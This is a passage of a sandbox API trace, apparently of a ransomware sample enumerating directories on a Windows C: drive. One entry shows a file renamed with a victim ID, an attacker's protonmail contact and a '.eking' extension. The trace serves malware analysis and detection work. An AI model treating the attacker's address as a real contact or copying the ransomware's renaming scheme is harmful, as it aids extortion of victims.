lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.155] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.155] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.155] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0165.155] GetProcessHeap () returned 0x6a0000 [0165.155] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0165.155] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0165.156] FindClose (in: hFindFile=0x794de8 | out: hFindFile=0x794de8) returned 1 [0165.156] GetProcessHeap () returned 0x6a0000 [0165.156] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x762978 | out: hHeap=0x6a0000) returned 1 [0165.156] FindNextFileW (in: hFindFile=0x6fefb8, lpFindFileData=0x2e6f8b8 | out: lpFindFileData=0x2e6f8b8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0165.156] FindNextFileW (in: hFindFile=0x6fefb8, lpFindFileData=0x2e6f8b8 | out: lpFindFileData=0x2e6f8b8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x79274e0, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x79274e0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x80e3c60, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x2102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="BOOTSE~1.EKI")) returned 1 [0165.156] FindNextFileW (in: hFindFile=0x6fefb8, lpFindFileData=0x2e6f8b8 | out: lpFindFileData=0x2e6f8b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0165.156] GetProcessHeap () returned 0x6a0000 [0165.156] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x762978 [0165.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="咊ö᧨kᥠt\x80")) returned 0xffffffff [0165.157] GetProcessHeap () returned 0x6a0000 [0165.157] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x762978 | out: hHeap=0x6a0000) returned 1 [0165.157] FindNextFileW (in: hFindFile=0x6fefb8, lpFindFileData=0x2e6f8b8 | out: lpFindFileData=0x2e6f8b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0165.157] FindNextFileW (in: hFindFile=0x6fefb8, lpFindFileData=0x2e6f8b8 | out: lpFindFileData=0x2e6f8b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xda0cbec0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0165.157] FindNextFileW (in: hFindFile=0x6fefb8, lpFindFileData=0x2e6f8b8 | out: lpFindFileData=0x2e6f8b8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0165.157] GetProcessHeap () returned 0x6a0000 [0165.157] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x762978 [0165.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="咊ö᧨kᥠt\x80")) returned 0xffffffff [0165.157] GetProcessHeap () returned 0x6a0000 [0165.158] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x762978 | out: hHeap=0x6a0000) returned 1 [0165.158] FindNextFileW (in: hFindFile=0x6fefb8, lpFindFileData=0x2e6f8b8 | out: lpFindFileData=0x2e6f8b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xd9804da0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0165.158] FindNextFileW (in: hFindFile=0x6fefb8, lpFindFileData=0x2e6f8b8 | out: lpFindFileData=0x2e6f8b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0165.158] GetProcessHeap () returned 0x6a0000 [0165.158] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x762978 [0165.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="咊ö᧨kᥠt\x80")) returned 0xffffffff [0165.158] GetProcessHeap () returned 0x6a0000 [0165.158] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x762978 | out: hHeap=0x6a0000) returned 1 [0165.158] FindNextFileW (in: hFindFile=0x6fefb8, lpFindFileData=0x2e6f8b8 | out: lpFindFileData=0x2e6f8b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1adcd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1adcd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0165.158] GetProcessHeap () returned 0x6a0000 [0165.158] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x762978 [0165.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1adcd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1adcd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794db0 [0165.164] FindNextFileW (in: hFindFile=0x794db0, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1adcd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1adcd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.164] FindNextFileW (in: hFindFile=0x794db0, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf5dfa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf5dfa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0165.164] GetProcessHeap () returned 0x6a0000 [0165.164] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d04f8 [0165.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf5dfa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf5dfa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794df0 [0165.165] FindNextFileW (in: hFindFile=0x794df0, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf5dfa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf5dfa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.165] FindNextFileW (in: hFindFile=0x794df0, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0165.165] GetProcessHeap () returned 0x6a0000 [0165.165] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36e0500 [0165.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e30 [0165.167] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.167] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0165.167] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0165.167] FindClose (in: hFindFile=0x794e30 | out: hFindFile=0x794e30) returned 1 [0165.167] GetProcessHeap () returned 0x6a0000 [0165.167] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0165.167] FindNextFileW (in: hFindFile=0x794df0, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0165.167] GetProcessHeap () returned 0x6a0000 [0165.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36e0500 [0165.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e30 [0165.168] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.168] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0165.168] GetProcessHeap () returned 0x6a0000 [0165.168] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0165.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0165.501] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.561] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0165.566] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0165.577] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0165.577] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0165.577] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0165.577] GetProcessHeap () returned 0x6a0000 [0165.577] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0165.577] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0165.619] GetProcessHeap () returned 0x6a0000 [0165.619] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0165.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0165.619] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.619] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0165.619] GetProcessHeap () returned 0x6a0000 [0165.619] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3735548 [0165.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.620] FindNextFileW (in: hFindFile=0x37225c8, 